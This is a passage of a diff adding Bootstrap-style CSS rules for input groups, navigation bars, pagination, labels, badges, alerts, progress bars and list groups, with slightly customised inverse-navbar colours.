.input-group-addon, +select[multiple].input-group-sm > .input-group-btn > .btn { + height: auto; +} +.input-group-addon, +.input-group-btn, +.input-group .form-control { + display: table-cell; +} +.input-group-addon:not(:first-child):not(:last-child), +.input-group-btn:not(:first-child):not(:last-child), +.input-group .form-control:not(:first-child):not(:last-child) { + border-radius: 0; +} +.input-group-addon, +.input-group-btn { + width: 1%; + white-space: nowrap; + vertical-align: middle; +} +.input-group-addon { + padding: 6px 12px; + font-size: 14px; + font-weight: normal; + line-height: 1; + color: #555; + text-align: center; + background-color: #eee; + border: 1px solid #ccc; + border-radius: 4px; +} +.input-group-addon.input-sm { + padding: 5px 10px; + font-size: 12px; + border-radius: 3px; +} +.input-group-addon.input-lg { + padding: 10px 16px; + font-size: 18px; + border-radius: 6px; +} +.input-group-addon input[type="radio"], +.input-group-addon input[type="checkbox"] { + margin-top: 0; +} +.input-group .form-control:first-child, +.input-group-addon:first-child, +.input-group-btn:first-child > .btn, +.input-group-btn:first-child > .btn-group > .btn, +.input-group-btn:first-child > .dropdown-toggle, +.input-group-btn:last-child > .btn:not(:last-child):not(.dropdown-toggle), +.input-group-btn:last-child > .btn-group:not(:last-child) > .btn { + border-top-right-radius: 0; + border-bottom-right-radius: 0; +} +.input-group-addon:first-child { + border-right: 0; +} +.input-group .form-control:last-child, +.input-group-addon:last-child, +.input-group-btn:last-child > .btn, +.input-group-btn:last-child > .btn-group > .btn, +.input-group-btn:last-child > .dropdown-toggle, +.input-group-btn:first-child > .btn:not(:first-child), +.input-group-btn:first-child > .btn-group:not(:first-child) > .btn { + border-top-left-radius: 0; + border-bottom-left-radius: 0; +} +.input-group-addon:last-child { + border-left: 0; +} +.input-group-btn { + position: relative; + font-size: 0; + white-space: nowrap; +} +.input-group-btn > .btn { + position: relative; +} +.input-group-btn > .btn + .btn { + margin-left: -1px; +} +.input-group-btn > .btn:hover, +.input-group-btn > .btn:focus, +.input-group-btn > .btn:active { + z-index: 2; +} +.input-group-btn:first-child > .btn, +.input-group-btn:first-child > .btn-group { + margin-right: -1px; +} +.input-group-btn:last-child > .btn, +.input-group-btn:last-child > .btn-group { + z-index: 2; + margin-left: -1px; +} +.nav { + padding-left: 0; + margin-bottom: 0; + list-style: none; +} +.nav > li { + position: relative; + display: block; +} +.nav > li > a { + position: relative; + display: block; + padding: 10px 15px; +} +.nav > li > a:hover, +.nav > li > a:focus { + text-decoration: none; + background-color: #eee; +} +.nav > li.disabled > a { + color: #777; +} +.nav > li.disabled > a:hover, +.nav > li.disabled > a:focus { + color: #777; + text-decoration: none; + cursor: not-allowed; + background-color: transparent; +} +.nav .open > a, +.nav .open > a:hover, +.nav .open > a:focus { + background-color: #eee; + border-color: #337ab7; +} +.nav .nav-divider { + height: 1px; + margin: 9px 0; + overflow: hidden; + background-color: #e5e5e5; +} +.nav > li > a > img { + max-width: none; +} +.nav-tabs { + border-bottom: 1px solid #ddd; +} +.nav-tabs > li { + float: left; + margin-bottom: -1px; +} +.nav-tabs > li > a { + margin-right: 2px; + line-height: 1.42857143; + border: 1px solid transparent; + border-radius: 4px 4px 0 0; +} +.nav-tabs > li > a:hover { + border-color: #eee #eee #ddd; +} +.nav-tabs > li.active > a, +.nav-tabs > li.active > a:hover, +.nav-tabs > li.active > a:focus { + color: #555; + cursor: default; + background-color: #fff; + border: 1px solid #ddd; + border-bottom-color: transparent; +} +.nav-tabs.nav-justified { + width: 100%; + border-bottom: 0; +} +.nav-tabs.nav-justified > li { + float: none; +} +.nav-tabs.nav-justified > li > a { + margin-bottom: 5px; + text-align: center; +} +.nav-tabs.nav-justified > .dropdown .dropdown-menu { + top: auto; + left: auto; +} +@media (min-width: 768px) { + .nav-tabs.nav-justified > li { + display: table-cell; + width: 1%; + } + .nav-tabs.nav-justified > li > a { + margin-bottom: 0; + } +} +.nav-tabs.nav-justified > li > a { + margin-right: 0; + border-radius: 4px; +} +.nav-tabs.nav-justified > .active > a, +.nav-tabs.nav-justified > .active > a:hover, +.nav-tabs.nav-justified > .active > a:focus { + border: 1px solid #ddd; +} +@media (min-width: 768px) { + .nav-tabs.nav-justified > li > a { + border-bottom: 1px solid #ddd; + border-radius: 4px 4px 0 0; + } + .nav-tabs.nav-justified > .active > a, + .nav-tabs.nav-justified > .active > a:hover, + .nav-tabs.nav-justified > .active > a:focus { + border-bottom-color: #fff; + } +} +.nav-pills > li { + float: left; +} +.nav-pills > li > a { + border-radius: 4px; +} +.nav-pills > li + li { + margin-left: 2px; +} +.nav-pills > li.active > a, +.nav-pills > li.active > a:hover, +.nav-pills > li.active > a:focus { + color: #fff; + background-color: #337ab7; +} +.nav-stacked > li { + float: none; +} +.nav-stacked > li + li { + margin-top: 2px; + margin-left: 0; +} +.nav-justified { + width: 100%; +} +.nav-justified > li { + float: none; +} +.nav-justified > li > a { + margin-bottom: 5px; + text-align: center; +} +.nav-justified > .dropdown .dropdown-menu { + top: auto; + left: auto; +} +@media (min-width: 768px) { + .nav-justified > li { + display: table-cell; + width: 1%; + } + .nav-justified > li > a { + margin-bottom: 0; + } +} +.nav-tabs-justified { + border-bottom: 0; +} +.nav-tabs-justified > li > a { + margin-right: 0; + border-radius: 4px; +} +.nav-tabs-justified > .active > a, +.nav-tabs-justified > .active > a:hover, +.nav-tabs-justified > .active > a:focus { + border: 1px solid #ddd; +} +@media (min-width: 768px) { + .nav-tabs-justified > li > a { + border-bottom: 1px solid #ddd; + border-radius: 4px 4px 0 0; + } + .nav-tabs-justified > .active > a, + .nav-tabs-justified > .active > a:hover, + .nav-tabs-justified > .active > a:focus { + border-bottom-color: #fff; + } +} +.tab-content > .tab-pane { + display: none; +} +.tab-content > .active { + display: block; +} +.nav-tabs .dropdown-menu { + margin-top: -1px; + border-top-left-radius: 0; + border-top-right-radius: 0; +} +.navbar { + position: relative; + min-height: 50px; + margin-bottom: 20px; + border: 1px solid transparent; +} +@media (min-width: 768px) { + .navbar { + border-radius: 4px; + } +} +@media (min-width: 768px) { + .navbar-header { + float: left; + } +} +.navbar-collapse { + padding-right: 15px; + padding-left: 15px; + overflow-x: visible; + -webkit-overflow-scrolling: touch; + border-top: 1px solid transparent; + -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1); + box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1); +} +.navbar-collapse.in { + overflow-y: auto; +} +@media (min-width: 768px) { + .navbar-collapse { + width: auto; + border-top: 0; + -webkit-box-shadow: none; + box-shadow: none; + } + .navbar-collapse.collapse { + display: block !important; + height: auto !important; + padding-bottom: 0; + overflow: visible !important; + } + .navbar-collapse.in { + overflow-y: visible; + } + .navbar-fixed-top .navbar-collapse, + .navbar-static-top .navbar-collapse, + .navbar-fixed-bottom .navbar-collapse { + padding-right: 0; + padding-left: 0; + } +} +.navbar-fixed-top .navbar-collapse, +.navbar-fixed-bottom .navbar-collapse { + max-height: 340px; +} +@media (max-device-width: 480px) and (orientation: landscape) { + .navbar-fixed-top .navbar-collapse, + .navbar-fixed-bottom .navbar-collapse { + max-height: 200px; + } +} +.container > .navbar-header, +.container-fluid > .navbar-header, +.container > .navbar-collapse, +.container-fluid > .navbar-collapse { + margin-right: -15px; + margin-left: -15px; +} +@media (min-width: 768px) { + .container > .navbar-header, + .container-fluid > .navbar-header, + .container > .navbar-collapse, + .container-fluid > .navbar-collapse { + margin-right: 0; + margin-left: 0; + } +} +.navbar-static-top { + z-index: 1000; + border-width: 0 0 1px; +} +@media (min-width: 768px) { + .navbar-static-top { + border-radius: 0; + } +} +.navbar-fixed-top, +.navbar-fixed-bottom { + position: fixed; + right: 0; + left: 0; + z-index: 1030; +} +@media (min-width: 768px) { + .navbar-fixed-top, + .navbar-fixed-bottom { + border-radius: 0; + } +} +.navbar-fixed-top { + top: 0; + border-width: 0 0 1px; +} +.navbar-fixed-bottom { + bottom: 0; + margin-bottom: 0; + border-width: 1px 0 0; +} +.navbar-brand { + float: left; + height: 50px; + padding: 15px 15px; + font-size: 18px; + line-height: 20px; +} +.navbar-brand:hover, +.navbar-brand:focus { + text-decoration: none; +} +.navbar-brand > img { + display: block; +} +@media (min-width: 768px) { + .navbar > .container .navbar-brand, + .navbar > .container-fluid .navbar-brand { + margin-left: -15px; + } +} +.navbar-toggle { + position: relative; + float: right; + padding: 9px 10px; + margin-top: 8px; + margin-right: 15px; + margin-bottom: 8px; + background-color: transparent; + background-image: none; + border: 1px solid transparent; + border-radius: 4px; +} +.navbar-toggle:focus { + outline: 0; +} +.navbar-toggle .icon-bar { + display: block; + width: 22px; + height: 2px; + border-radius: 1px; +} +.navbar-toggle .icon-bar + .icon-bar { + margin-top: 4px; +} +@media (min-width: 768px) { + .navbar-toggle { + display: none; + } +} +.navbar-nav { + margin: 7.5px -15px; +} +.navbar-nav > li > a { + padding-top: 10px; + padding-bottom: 10px; + line-height: 20px; +} +@media (max-width: 767px) { + .navbar-nav .open .dropdown-menu { + position: static; + float: none; + width: auto; + margin-top: 0; + background-color: transparent; + border: 0; + -webkit-box-shadow: none; + box-shadow: none; + } + .navbar-nav .open .dropdown-menu > li > a, + .navbar-nav .open .dropdown-menu .dropdown-header { + padding: 5px 15px 5px 25px; + } + .navbar-nav .open .dropdown-menu > li > a { + line-height: 20px; + } + .navbar-nav .open .dropdown-menu > li > a:hover, + .navbar-nav .open .dropdown-menu > li > a:focus { + background-image: none; + } +} +@media (min-width: 768px) { + .navbar-nav { + float: left; + margin: 0; + } + .navbar-nav > li { + float: left; + } + .navbar-nav > li > a { + padding-top: 15px; + padding-bottom: 15px; + } +} +.navbar-form { + padding: 10px 15px; + margin-top: 8px; + margin-right: -15px; + margin-bottom: 8px; + margin-left: -15px; + border-top: 1px solid transparent; + border-bottom: 1px solid transparent; + -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1), 0 1px 0 rgba(255, 255, 255, .1); + box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1), 0 1px 0 rgba(255, 255, 255, .1); +} +@media (min-width: 768px) { + .navbar-form .form-group { + display: inline-block; + margin-bottom: 0; + vertical-align: middle; + } + .navbar-form .form-control { + display: inline-block; + width: auto; + vertical-align: middle; + } + .navbar-form .form-control-static { + display: inline-block; + } + .navbar-form .input-group { + display: inline-table; + vertical-align: middle; + } + .navbar-form .input-group .input-group-addon, + .navbar-form .input-group .input-group-btn, + .navbar-form .input-group .form-control { + width: auto; + } + .navbar-form .input-group > .form-control { + width: 100%; + } + .navbar-form .control-label { + margin-bottom: 0; + vertical-align: middle; + } + .navbar-form .radio, + .navbar-form .checkbox { + display: inline-block; + margin-top: 0; + margin-bottom: 0; + vertical-align: middle; + } + .navbar-form .radio label, + .navbar-form .checkbox label { + padding-left: 0; + } + .navbar-form .radio input[type="radio"], + .navbar-form .checkbox input[type="checkbox"] { + position: relative; + margin-left: 0; + } + .navbar-form .has-feedback .form-control-feedback { + top: 0; + } +} +@media (max-width: 767px) { + .navbar-form .form-group { + margin-bottom: 5px; + } + .navbar-form .form-group:last-child { + margin-bottom: 0; + } +} +@media (min-width: 768px) { + .navbar-form { + width: auto; + padding-top: 0; + padding-bottom: 0; + margin-right: 0; + margin-left: 0; + border: 0; + -webkit-box-shadow: none; + box-shadow: none; + } +} +.navbar-nav > li > .dropdown-menu { + margin-top: 0; + border-top-left-radius: 0; + border-top-right-radius: 0; +} +.navbar-fixed-bottom .navbar-nav > li > .dropdown-menu { + margin-bottom: 0; + border-top-left-radius: 4px; + border-top-right-radius: 4px; + border-bottom-right-radius: 0; + border-bottom-left-radius: 0; +} +.navbar-btn { + margin-top: 8px; + margin-bottom: 8px; +} +.navbar-btn.btn-sm { + margin-top: 10px; + margin-bottom: 10px; +} +.navbar-btn.btn-xs { + margin-top: 14px; + margin-bottom: 14px; +} +.navbar-text { + margin-top: 15px; + margin-bottom: 15px; +} +@media (min-width: 768px) { + .navbar-text { + float: left; + margin-right: 15px; + margin-left: 15px; + } +} +@media (min-width: 768px) { + .navbar-left { + float: left !important; + } + .navbar-right { + float: right !important; + margin-right: -15px; + } + .navbar-right ~ .navbar-right { + margin-right: 0; + } +} +.navbar-default { + background-color: #f8f8f8; + border-color: #e7e7e7; +} +.navbar-default .navbar-brand { + color: #777; +} +.navbar-default .navbar-brand:hover, +.navbar-default .navbar-brand:focus { + color: #5e5e5e; + background-color: transparent; +} +.navbar-default .navbar-text { + color: #777; +} +.navbar-default .navbar-nav > li > a { + color: #777; +} +.navbar-default .navbar-nav > li > a:hover, +.navbar-default .navbar-nav > li > a:focus { + color: #333; + background-color: transparent; +} +.navbar-default .navbar-nav > .active > a, +.navbar-default .navbar-nav > .active > a:hover, +.navbar-default .navbar-nav > .active > a:focus { + color: #555; + background-color: #e7e7e7; +} +.navbar-default .navbar-nav > .disabled > a, +.navbar-default .navbar-nav > .disabled > a:hover, +.navbar-default .navbar-nav > .disabled > a:focus { + color: #ccc; + background-color: transparent; +} +.navbar-default .navbar-toggle { + border-color: #ddd; +} +.navbar-default .navbar-toggle:hover, +.navbar-default .navbar-toggle:focus { + background-color: #ddd; +} +.navbar-default .navbar-toggle .icon-bar { + background-color: #888; +} +.navbar-default .navbar-collapse, +.navbar-default .navbar-form { + border-color: #e7e7e7; +} +.navbar-default .navbar-nav > .open > a, +.navbar-default .navbar-nav > .open > a:hover, +.navbar-default .navbar-nav > .open > a:focus { + color: #555; + background-color: #e7e7e7; +} +@media (max-width: 767px) { + .navbar-default .navbar-nav .open .dropdown-menu > li > a { + color: #777; + } + .navbar-default .navbar-nav .open .dropdown-menu > li > a:hover, + .navbar-default .navbar-nav .open .dropdown-menu > li > a:focus { + color: #333; + background-color: transparent; + } + .navbar-default .navbar-nav .open .dropdown-menu > .active > a, + .navbar-default .navbar-nav .open .dropdown-menu > .active > a:hover, + .navbar-default .navbar-nav .open .dropdown-menu > .active > a:focus { + color: #555; + background-color: #e7e7e7; + } + .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a, + .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:hover, + .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:focus { + color: #ccc; + background-color: transparent; + } +} +.navbar-default .navbar-link { + color: #777; +} +.navbar-default .navbar-link:hover { + color: #333; +} +.navbar-default .btn-link { + color: #777; +} +.navbar-default .btn-link:hover, +.navbar-default .btn-link:focus { + color: #333; +} +.navbar-default .btn-link[disabled]:hover, +fieldset[disabled] .navbar-default .btn-link:hover, +.navbar-default .btn-link[disabled]:focus, +fieldset[disabled] .navbar-default .btn-link:focus { + color: #ccc; +} +.navbar-inverse { + background-color: #222; + border-color: #080808; +} +.navbar-inverse .navbar-brand { + color: white; +} +.navbar-inverse .navbar-brand:hover, +.navbar-inverse .navbar-brand:focus { + color: white; + background-color: transparent; +} +.navbar-inverse .navbar-text { + color: #FFFFFF; +} +.navbar-inverse .navbar-nav > li > a { + color: #FFFFFF; +} +.navbar-inverse .navbar-nav > li > a:hover, +.navbar-inverse .navbar-nav > li > a:focus { + color: #fff; + background-color: transparent; +} +.navbar-inverse .navbar-nav > .active > a, +.navbar-inverse .navbar-nav > .active > a:hover, +.navbar-inverse .navbar-nav > .active > a:focus { + color: #fff; + background-color: #080808; +} +.navbar-inverse .navbar-nav > .disabled > a, +.navbar-inverse .navbar-nav > .disabled > a:hover, +.navbar-inverse .navbar-nav > .disabled > a:focus { + color: #444; + background-color: transparent; +} +.navbar-inverse .navbar-toggle { + border-color: #333; +} +.navbar-inverse .navbar-toggle:hover, +.navbar-inverse .navbar-toggle:focus { + background-color: #333; +} +.navbar-inverse .navbar-toggle .icon-bar { + background-color: #fff; +} +.navbar-inverse .navbar-collapse, +.navbar-inverse .navbar-form { + border-color: #101010; +} +.navbar-inverse .navbar-nav > .open > a, +.navbar-inverse .navbar-nav > .open > a:hover, +.navbar-inverse .navbar-nav > .open > a:focus { + color: #fff; + background-color: #080808; +} +@media (max-width: 767px) { + .navbar-inverse .navbar-nav .open .dropdown-menu > .dropdown-header { + border-color: #080808; + } + .navbar-inverse .navbar-nav .open .dropdown-menu .divider { + background-color: #080808; + } + .navbar-inverse .navbar-nav .open .dropdown-menu > li > a { + color: #9d9d9d; + } + .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:hover, + .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:focus { + color: #fff; + background-color: transparent; + } + .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a, + .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:hover, + .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:focus { + color: #fff; + background-color: #080808; + } + .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a, + .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:hover, + .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:focus { + color: #444; + background-color: transparent; + } +} +.navbar-inverse .navbar-link { + color: #9d9d9d; +} +.navbar-inverse .navbar-link:hover { + color: #fff; +} +.navbar-inverse .btn-link { + color: #9d9d9d; +} +.navbar-inverse .btn-link:hover, +.navbar-inverse .btn-link:focus { + color: #fff; +} +.navbar-inverse .btn-link[disabled]:hover, +fieldset[disabled] .navbar-inverse .btn-link:hover, +.navbar-inverse .btn-link[disabled]:focus, +fieldset[disabled] .navbar-inverse .btn-link:focus { + color: #444; +} +.breadcrumb { + padding: 8px 15px; + margin-bottom: 20px; + list-style: none; + background-color: #f5f5f5; + border-radius: 4px; +} +.breadcrumb > li { + display: inline-block; +} +.breadcrumb > li + li:before { + padding: 0 5px; + color: #ccc; + content: "/\00a0"; +} +.breadcrumb > .active { + color: #777; +} +.pagination { + display: inline-block; + padding-left: 0; + margin: 20px 0; + border-radius: 4px; +} +.pagination > li { + display: inline; +} +.pagination > li > a, +.pagination > li > span { + position: relative; + float: left; + padding: 6px 12px; + margin-left: -1px; + line-height: 1.42857143; + color: #337ab7; + text-decoration: none; + background-color: #fff; + border: 1px solid #ddd; +} +.pagination > li:first-child > a, +.pagination > li:first-child > span { + margin-left: 0; + border-top-left-radius: 4px; + border-bottom-left-radius: 4px; +} +.pagination > li:last-child > a, +.pagination > li:last-child > span { + border-top-right-radius: 4px; + border-bottom-right-radius: 4px; +} +.pagination > li > a:hover, +.pagination > li > span:hover, +.pagination > li > a:focus, +.pagination > li > span:focus { + z-index: 2; + color: #23527c; + background-color: #eee; + border-color: #ddd; +} +.pagination > .active > a, +.pagination > .active > span, +.pagination > .active > a:hover, +.pagination > .active > span:hover, +.pagination > .active > a:focus, +.pagination > .active > span:focus { + z-index: 3; + color: #fff; + cursor: default; + background-color: #337ab7; + border-color: #337ab7; +} +.pagination > .disabled > span, +.pagination > .disabled > span:hover, +.pagination > .disabled > span:focus, +.pagination > .disabled > a, +.pagination > .disabled > a:hover, +.pagination > .disabled > a:focus { + color: #777; + cursor: not-allowed; + background-color: #fff; + border-color: #ddd; +} +.pagination-lg > li > a, +.pagination-lg > li > span { + padding: 10px 16px; + font-size: 18px; + line-height: 1.3333333; +} +.pagination-lg > li:first-child > a, +.pagination-lg > li:first-child > span { + border-top-left-radius: 6px; + border-bottom-left-radius: 6px; +} +.pagination-lg > li:last-child > a, +.pagination-lg > li:last-child > span { + border-top-right-radius: 6px; + border-bottom-right-radius: 6px; +} +.pagination-sm > li > a, +.pagination-sm > li > span { + padding: 5px 10px; + font-size: 12px; + line-height: 1.5; +} +.pagination-sm > li:first-child > a, +.pagination-sm > li:first-child > span { + border-top-left-radius: 3px; + border-bottom-left-radius: 3px; +} +.pagination-sm > li:last-child > a, +.pagination-sm > li:last-child > span { + border-top-right-radius: 3px; + border-bottom-right-radius: 3px; +} +.pager { + padding-left: 0; + margin: 20px 0; + text-align: center; + list-style: none; +} +.pager li { + display: inline; +} +.pager li > a, +.pager li > span { + display: inline-block; + padding: 5px 14px; + background-color: #fff; + border: 1px solid #ddd; + border-radius: 15px; +} +.pager li > a:hover, +.pager li > a:focus { + text-decoration: none; + background-color: #eee; +} +.pager .next > a, +.pager .next > span { + float: right; +} +.pager .previous > a, +.pager .previous > span { + float: left; +} +.pager .disabled > a, +.pager .disabled > a:hover, +.pager .disabled > a:focus, +.pager .disabled > span { + color: #777; + cursor: not-allowed; + background-color: #fff; +} +.label { + display: inline; + padding: .2em .6em .3em; + font-size: 75%; + font-weight: bold; + line-height: 1; + color: #fff; + text-align: center; + white-space: nowrap; + vertical-align: baseline; + border-radius: .25em; +} +a.label:hover, +a.label:focus { + color: #fff; + text-decoration: none; + cursor: pointer; +} +.label:empty { + display: none; +} +.btn .label { + position: relative; + top: -1px; +} +.label-default { + background-color: #777; +} +.label-default[href]:hover, +.label-default[href]:focus { + background-color: #5e5e5e; +} +.label-primary { + background-color: #337ab7; +} +.label-primary[href]:hover, +.label-primary[href]:focus { + background-color: #286090; +} +.label-success { + background-color: #5cb85c; +} +.label-success[href]:hover, +.label-success[href]:focus { + background-color: #449d44; +} +.label-info { + background-color: #5bc0de; +} +.label-info[href]:hover, +.label-info[href]:focus { + background-color: #31b0d5; +} +.label-warning { + background-color: #f0ad4e; +} +.label-warning[href]:hover, +.label-warning[href]:focus { + background-color: #ec971f; +} +.label-danger { + background-color: #d9534f; +} +.label-danger[href]:hover, +.label-danger[href]:focus { + background-color: #c9302c; +} +.badge { + display: inline-block; + min-width: 10px; + padding: 3px 7px; + font-size: 12px; + font-weight: bold; + line-height: 1; + color: #fff; + text-align: center; + white-space: nowrap; + vertical-align: middle; + background-color: #777; + border-radius: 10px; +} +.badge:empty { + display: none; +} +.btn .badge { + position: relative; + top: -1px; +} +.btn-xs .badge, +.btn-group-xs > .btn .badge { + top: 0; + padding: 1px 5px; +} +a.badge:hover, +a.badge:focus { + color: #fff; + text-decoration: none; + cursor: pointer; +} +.list-group-item.active > .badge, +.nav-pills > .active > a > .badge { + color: #337ab7; + background-color: #fff; +} +.list-group-item > .badge { + float: right; +} +.list-group-item > .badge + .badge { + margin-right: 5px; +} +.nav-pills > li > a > .badge { + margin-left: 3px; +} +.jumbotron { + padding-top: 30px; + padding-bottom: 30px; + margin-bottom: 30px; + color: inherit; + background-color: #eee; +} +.jumbotron h1, +.jumbotron .h1 { + color: inherit; +} +.jumbotron p { + margin-bottom: 15px; + font-size: 21px; + font-weight: 200; +} +.jumbotron > hr { + border-top-color: #d5d5d5; +} +.container .jumbotron, +.container-fluid .jumbotron { + padding-right: 15px; + padding-left: 15px; + border-radius: 6px; +} +.jumbotron .container { + max-width: 100%; +} +@media screen and (min-width: 768px) { + .jumbotron { + padding-top: 48px; + padding-bottom: 48px; + } + .container .jumbotron, + .container-fluid .jumbotron { + padding-right: 60px; + padding-left: 60px; + } + .jumbotron h1, + .jumbotron .h1 { + font-size: 63px; + } +} +.thumbnail { + display: block; + padding: 4px; + margin-bottom: 20px; + line-height: 1.42857143; + background-color: #fff; + border: 1px solid #ddd; + border-radius: 4px; + -webkit-transition: border .2s ease-in-out; + -o-transition: border .2s ease-in-out; + transition: border .2s ease-in-out; +} +.thumbnail > img, +.thumbnail a > img { + margin-right: auto; + margin-left: auto; +} +a.thumbnail:hover, +a.thumbnail:focus, +a.thumbnail.active { + border-color: #337ab7; +} +.thumbnail .caption { + padding: 9px; + color: #333; +} +.alert { + padding: 15px; + margin-bottom: 20px; + border: 1px solid transparent; + border-radius: 4px; +} +.alert h4 { + margin-top: 0; + color: inherit; +} +.alert .alert-link { + font-weight: bold; +} +.alert > p, +.alert > ul { + margin-bottom: 0; +} +.alert > p + p { + margin-top: 5px; +} +.alert-dismissable, +.alert-dismissible { + padding-right: 35px; +} +.alert-dismissable .close, +.alert-dismissible .close { + position: relative; + top: -2px; + right: -21px; + color: inherit; +} +.alert-success { + color: #3c763d; + background-color: #dff0d8; + border-color: #d6e9c6; +} +.alert-success hr { + border-top-color: #c9e2b3; +} +.alert-success .alert-link { + color: #2b542c; +} +.alert-info { + color: #31708f; + background-color: #d9edf7; + border-color: #bce8f1; +} +.alert-info hr { + border-top-color: #a6e1ec; +} +.alert-info .alert-link { + color: #245269; +} +.alert-warning { + color: #8a6d3b; + background-color: #fcf8e3; + border-color: #faebcc; +} +.alert-warning hr { + border-top-color: #f7e1b5; +} +.alert-warning .alert-link { + color: #66512c; +} +.alert-danger { + color: #a94442; + background-color: #f2dede; + border-color: #ebccd1; +} +.alert-danger hr { + border-top-color: #e4b9c0; +} +.alert-danger .alert-link { + color: #843534; +} +@-webkit-keyframes progress-bar-stripes { + from { + background-position: 40px 0; + } + to { + background-position: 0 0; + } +} +@-o-keyframes progress-bar-stripes { + from { + background-position: 40px 0; + } + to { + background-position: 0 0; + } +} +@keyframes progress-bar-stripes { + from { + background-position: 40px 0; + } + to { + background-position: 0 0; + } +} +.progress { + height: 20px; + margin-bottom: 20px; + overflow: hidden; + background-color: #f5f5f5; + border-radius: 4px; + -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, .1); + box-shadow: inset 0 1px 2px rgba(0, 0, 0, .1); +} +.progress-bar { + float: left; + width: 0; + height: 100%; + font-size: 12px; + line-height: 20px; + color: #fff; + text-align: center; + background-color: #337ab7; + -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .15); + box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .15); + -webkit-transition: width .6s ease; + -o-transition: width .6s ease; + transition: width .6s ease; +} +.progress-striped .progress-bar, +.progress-bar-striped { + background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + -webkit-background-size: 40px 40px; + background-size: 40px 40px; +} +.progress.active .progress-bar, +.progress-bar.active { + -webkit-animation: progress-bar-stripes 2s linear infinite; + -o-animation: progress-bar-stripes 2s linear infinite; + animation: progress-bar-stripes 2s linear infinite; +} +.progress-bar-success { + background-color: #5cb85c; +} +.progress-striped .progress-bar-success { + background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); +} +.progress-bar-info { + background-color: #5bc0de; +} +.progress-striped .progress-bar-info { + background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); +} +.progress-bar-warning { + background-color: #f0ad4e; +} +.progress-striped .progress-bar-warning { + background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); +} +.progress-bar-danger { + background-color: #d9534f; +} +.progress-striped .progress-bar-danger { + background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); +} +.media { + margin-top: 15px; +} +.media:first-child { + margin-top: 0; +} +.media, +.media-body { + overflow: hidden; + zoom: 1; +} +.media-body { + width: 10000px; +} +.media-object { + display: block; +} +.media-object.img-thumbnail { + max-width: none; +} +.media-right, +.media > .pull-right { + padding-left: 10px; +} +.media-left, +.media > .pull-left { + padding-right: 10px; +} +.media-left, +.media-right, +.media-body { + display: table-cell; + vertical-align: top; +} +.media-middle { + vertical-align: middle; +} +.media-bottom { + vertical-align: bottom; +} +.media-heading { + margin-top: 0; + margin-bottom: 5px; +} +.media-list { + padding-left: 0; + list-style: none; +} +.list-group { + padding-left: 0; + margin-bottom: 20px; +} +.list-group-item { + position: relative; + display: block; + padding: 10px 15px; + margin-bottom: -1px; + background-color: #fff; + border: 1px solid #ddd; +} +.list-group-item:first-child { + border-top-left-radius: 4px; + 